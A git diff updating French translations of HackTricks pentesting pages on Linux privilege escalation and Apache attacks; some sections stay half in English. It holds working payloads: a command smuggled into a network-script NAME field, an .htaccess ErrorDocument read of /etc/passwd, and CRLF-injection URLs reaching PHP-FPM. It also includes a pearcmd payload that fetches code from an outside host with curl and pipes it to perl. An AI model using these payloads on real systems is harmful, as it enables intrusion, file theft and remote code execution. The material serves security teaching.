sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). -Dans mon cas, le `NAME=` attribué dans ces scripts réseau n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système essaie d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace blanc est exécuté en tant que root**. +Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas géré correctement. Si vous avez des **espaces blancs/dans le nom le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1360,24 +1368,26 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Notez l'espace entre Network et /bin/id_) + ### **init, init.d, systemd et rc.d** -Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`. +Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`. -D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion des services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. +D'autre part, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant ainsi le processus d'administration système. +**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les instantanés d'état système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administrateur, simplifiant le travail d'administration système. -## Autres astuces +## Other Tricks -### Escalade de privilèges NFS +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Évasion des Shells restreints +### Escaping from restricted Shells {{#ref}} @@ -1391,31 +1401,40 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Protections de sécurité du noyau +## Android rooting frameworks: manager-channel abuse + +Les frameworks de rooting Android interceptent souvent un syscall pour exposer des fonctionnalités noyau privilégiées à un gestionnaire en userspace. Une authentification faible du gestionnaire (par ex., des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le gestionnaire et d'escalader au root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici : + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Plus d'aide +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Outils de Privesc Linux/Unix +## Linux/Unix Privesc Tools -### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs de local privilege escalation sur Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ -**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ -**Unix Privesc Check :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ -**Linux Priv Checker :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ -**BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ -**Mestaploit :** _**multi/recon/local_exploit_suggester**_\ -**Linux Exploit Suggester :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ +**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ +**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ +**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Mestaploit:** _**multi/recon/local_exploit_suggester**_\ +**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Références +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1436,13 +1455,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Cadres de rooting Android : abus de gestionnaire de canal - -Les cadres de rooting Android accrochent couramment un syscall pour exposer des fonctionnalités privilégiées du noyau à un gestionnaire de l'espace utilisateur. Une authentification faible du gestionnaire (par exemple, des vérifications de signature basées sur l'ordre FD ou des schémas de mots de passe médiocres) peut permettre à une application locale d'usurper l'identité du gestionnaire et d'escalader vers root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici : - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 029709591..066a7e6d7 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Extensions PHP exécutables -Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter : +Vérifiez quelles extensions PHP sont chargées par le serveur Apache. Pour les rechercher, vous pouvez exécuter : ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Aussi, certains endroits où vous pouvez trouver cette configuration sont : +De plus, quelques endroits où vous pouvez trouver cette configuration sont : ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +Si vous pouvez contrôler le .htaccess d'un répertoire et que AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l'intérieur d'ErrorDocument. + +- Exigences : +- Apache 2.4 avec le parser d'expressions (ap_expr) activé (par défaut dans 2.4). +- Le vhost/dir doit permettre au .htaccess de définir ErrorDocument (AllowOverride FileInfo). +- L'utilisateur worker d'Apache doit avoir les permissions de lecture sur le fichier cible. + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Se déclenche en demandant n'importe quel chemin inexistant sous ce répertoire, par exemple lors de l'abus de userdir-style hosting: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notes et astuces: +- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de la réponse pour le handler 404. +- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ou /etc/shadow dans des configurations par défaut. +- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, vous pourriez être capable de renommer le .htaccess original et uploader votre propre remplacement via SFTP/FTP : +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Utilisez ceci pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.). + ## Confusion Attack -Ces types d'attaques ont été introduits et documentés [**par Orange dans cet article de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) et ce qui suit est un résumé. L'attaque "confusion" abuse essentiellement de la façon dont les dizaines de modules qui travaillent ensemble pour créer un Apache ne fonctionnent pas parfaitement synchronisés et faire en sorte que certains d'entre eux modifient des données inattendues peut provoquer une vulnérabilité dans un module ultérieur. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui s'articulent pour créer un Apache ne sont pas parfaitement synchronisés ; amener certains d'entre eux à modifier des données inattendues peut provoquer une vulnérabilité dans un module ultérieur. ### Filename Confusion #### Truncation -Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement faux car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions, cela sera traité comme un chemin de fichier, ce qui pourrait poser un problème. +Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions cela sera traité comme un chemin de fichier, ce qui poserait problème. - **Path Truncation** -Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?`: +Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` : ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Attribution trompeuse de RewriteFlag** +- **Mislead RewriteFlag Assignment** -Dans la règle de réécriture suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant à l'intérieur : +Dans la règle de rewrite suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Il est donc possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le path un autre type de fichier (comme une image) contenant du code php malveillant : ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -61,9 +89,9 @@ curl http://server/upload/1.gif curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` -#### **Contournement d'ACL** +#### **ACL Bypass** -Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas pouvoir accéder, même si l'accès devrait être refusé avec des configurations comme : +Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé avec des configurations comme : ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -C'est parce que par défaut, PHP-FPM recevra des URL se terminant par `.php`, comme `http://server/admin.php%3Fooo.php` et parce que PHP-FPM supprimera tout ce qui suit le caractère `?`, l'URL précédente permettra de charger `/admin.php` même si la règle précédente l'interdisait. +Ceci s'explique par le fait que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php`, et que PHP-FPM supprimera tout ce qui suit le caractère `?`. L'URL précédente permettra ainsi de charger `/admin.php` même si la règle précédente l'interdisait. -### Confusion DocumentRoot +### Confusion autour de DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis la racine. Ainsi, une requête à `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` dans le système de fichiers. Ce qui peut essentiellement être exploité pour accéder à des fichiers dans le système de fichiers. +Une anecdote amusante à propos d'Apache est que la réécriture précédente va essayer d'accéder au fichier à la fois depuis le documentRoot et depuis root. Ainsi, une requête vers `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` sur le système de fichiers. Cela peut donc être abusé pour accéder à des fichiers du système de fichiers. -#### **Divulgation de Code Source Côté Serveur** +#### **Divulgation du code source côté serveur** -- **Divulguer le Code Source CGI** +- **Divulguer le code source CGI** -Il suffit d'ajouter un %3F à la fin pour divulguer le code source d'un module cgi : +Ajouter simplement %3F à la fin suffit pour leak le code source d'un module cgi: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -97,15 +125,15 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **Divulguer le code source PHP** -Si un serveur a différents domaines dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et divulguer du code php : +Si un serveur possède différents domaines, dont l'un est un domaine statique, cela peut être abusé pour parcourir le système de fichiers et leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Manipulation des gadgets locaux** +#### **Local Gadgets Manipulation** -Le principal problème avec l'attaque précédente est qu'en règle générale, la plupart des accès au système de fichiers seront refusés comme dans le [modèle de configuration](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) du serveur HTTP Apache : +Le principal problème de l'attaque précédente est que, par défaut, la plupart des accès au système de fichiers seront refusés comme dans Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None @@ -119,94 +147,94 @@ AllowOverride None Require all granted ``` -Par conséquent, il serait possible d'**abuser des fichiers situés dans `/usr/share` dans ces distributions.** +Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** -**Gadget local pour la divulgation d'informations** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** avec **websocketd** peut exposer le script **dump-env.php** à **/usr/share/doc/websocketd/examples/php/**, ce qui peut divulguer des variables d'environnement sensibles. -- Les serveurs avec **Nginx** ou **Jetty** pourraient exposer des informations sensibles sur les applications web (par exemple, **web.xml**) à travers leurs racines web par défaut placées sous **/usr/share** : +- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. +- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Gadget local pour XSS** +**Local Gadget to XSS** -- Sur Ubuntu Desktop avec **LibreOffice installé**, exploiter la fonction de changement de langue des fichiers d'aide peut conduire à **Cross-Site Scripting (XSS)**. Manipuler l'URL à **/usr/share/libreoffice/help/help.html** peut rediriger vers des pages malveillantes ou des versions antérieures via **unsafe RewriteRule**. +- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. -**Gadget local pour LFI** +**Local Gadget to LFI** -- Si PHP ou certains packages front-end comme **JpGraph** ou **jQuery-jFeed** sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme **/etc/passwd** : +- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Gadget local pour SSRF** +**Local Gadget to SSRF** -- En utilisant **MagpieRSS's magpie_debug.php** à **/usr/share/php/magpierss/scripts/magpie_debug.php**, une vulnérabilité SSRF peut être facilement créée, fournissant une porte d'entrée pour d'autres exploits. +- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. -**Gadget local pour RCE** +**Local Gadget to RCE** -- Les opportunités pour **Remote Code Execution (RCE)** sont vastes, avec des installations vulnérables comme un **PHPUnit** obsolète ou **phpLiteAdmin**. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, montrant le potentiel étendu de la manipulation des gadgets locaux. +- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. -#### **Jailbreak à partir des gadgets locaux** +#### **Jailbreak from Local Gadgets** -Il est également possible de jailbreaker à partir des dossiers autorisés en suivant les symlinks générés par les logiciels installés dans ces dossiers, comme : +It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: -- **Cacti Log** : `/usr/share/cacti/site/` -> `/var/log/cacti/` -- **Solr Data** : `/usr/share/solr/data/` -> `/var/lib/solr/data` -- **Solr Config** : `/usr/share/solr/conf/` -> `/etc/solr/conf/` -- **MediaWiki Config** : `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` -- **SimpleSAMLphp Config** : `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` +- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` +- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` +- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` +- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` +- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -De plus, en abusant des symlinks, il a été possible d'obtenir **RCE dans Redmine.** +Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** ### Handler Confusion -Cette attaque exploite le chevauchement de fonctionnalité entre les directives `AddHandler` et `AddType`, qui peuvent toutes deux être utilisées pour **activer le traitement PHP**. À l'origine, ces directives affectaient différents champs (`r->handler` et `r->content_type` respectivement) dans la structure interne du serveur. Cependant, en raison de code hérité, Apache gère ces directives de manière interchangeable dans certaines conditions, convertissant `r->content_type` en `r->handler` si le premier est défini et le second ne l'est pas. +This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **activer le traitement PHP**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. -De plus, dans le serveur Apache HTTP (`server/config.c#L420`), si `r->handler` est vide avant d'exécuter `ap_run_handler()`, le serveur **utilise `r->content_type` comme handler**, rendant effectivement `AddType` et `AddHandler` identiques en effet. +Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. -#### **Écraser le handler pour divulguer le code source PHP** +#### **Overwrite Handler to Disclose PHP Source Code** -Dans [**cette présentation**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), une vulnérabilité a été présentée où un `Content-Length` incorrect envoyé par un client peut amener Apache à **retourner le code source PHP**. Cela était dû à un problème de gestion des erreurs avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser `r->content_type` en `text/html`.\ -Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP et ne l'interpréterait pas. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ +Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. -#### **Écraser le handler pour XXXX** +#### **Overwrite Handler to XXXX** TODO : Orange n'a pas encore divulgué cette vulnérabilité -### **Inviter des handlers arbitraires** +### **Invoke Arbitrary Handlers** -Si un attaquant est capable de contrôler l'en-tête **`Content-Type`** dans une réponse du serveur, il sera en mesure d'**inviter des handlers de module arbitraires**. Cependant, au moment où l'attaquant contrôle cela, la plupart du processus de la requête sera déjà effectué. Cependant, il est possible de **redémarrer le processus de requête en abusant de l'en-tête `Location`** car si le `Status` retourné est 200 et que l'en-tête `Location` commence par un `/`, la réponse est traitée comme une redirection côté serveur et doit être traitée. +If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed -Selon [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spécification sur CGI) dans [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) définit un comportement de réponse de redirection locale : +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: -> Le script CGI peut retourner un chemin URI et une chaîne de requête (‘local-pathquery’) pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit reprocesser la requête en utilisant le chemin spécifié. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Par conséquent, pour effectuer cette attaque, l'une des vulnérabilités suivantes est nécessaire : +Therefore, to perform this attack is needed one of the following vulns: -- Injection CRLF dans les en-têtes de réponse CGI -- SSRF avec contrôle complet des en-têtes de réponse +- CRLF Injection in the CGI response headers +- SSRF with complete control of the response headers -#### **Handler arbitraire pour la divulgation d'informations** +#### **Arbitrary Handler to Information Disclosure** -Par exemple, `/server-status` ne devrait être accessible que localement : +For example `/server-status` should only be accessible locally: ```xml SetHandler server-status Require local ``` -Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête Location commençant par `/` +Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête `Location` commençant par `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Gestionnaire arbitraire vers SSRF complet** +#### **Arbitrary Handler to Full SSRF** -Redirection vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL : +Rediriger vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL : ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux points de terminaison de métadonnées cloud. +Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux endpoints de métadonnées cloud. -#### **Gestionnaire arbitraire pour accéder au socket de domaine Unix local** +#### **Handler arbitraire pour accéder au Unix Domain Socket local** -Accédez au socket de domaine Unix local de PHP-FPM pour exécuter un backdoor PHP situé dans `/tmp/`: +Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/:` ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Gestionnaire arbitraire pour RCE** +#### **Arbitrary Handler to RCE** -L'image officielle [PHP Docker](https://hub.docker.com/_/php) inclut PEAR (`Pearcmd.php`), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE : +L'image officielle [PHP Docker](https://hub.docker.com/_/php) inclut PEAR (`Pearcmd.php`), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Vérifiez [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), écrit par [Phith0n](https://x.com/phithon_xg) pour les détails de cette technique. +Consultez [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), écrit par [Phith0n](https://x.com/phithon_xg) pour les détails de cette technique. ## Références - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}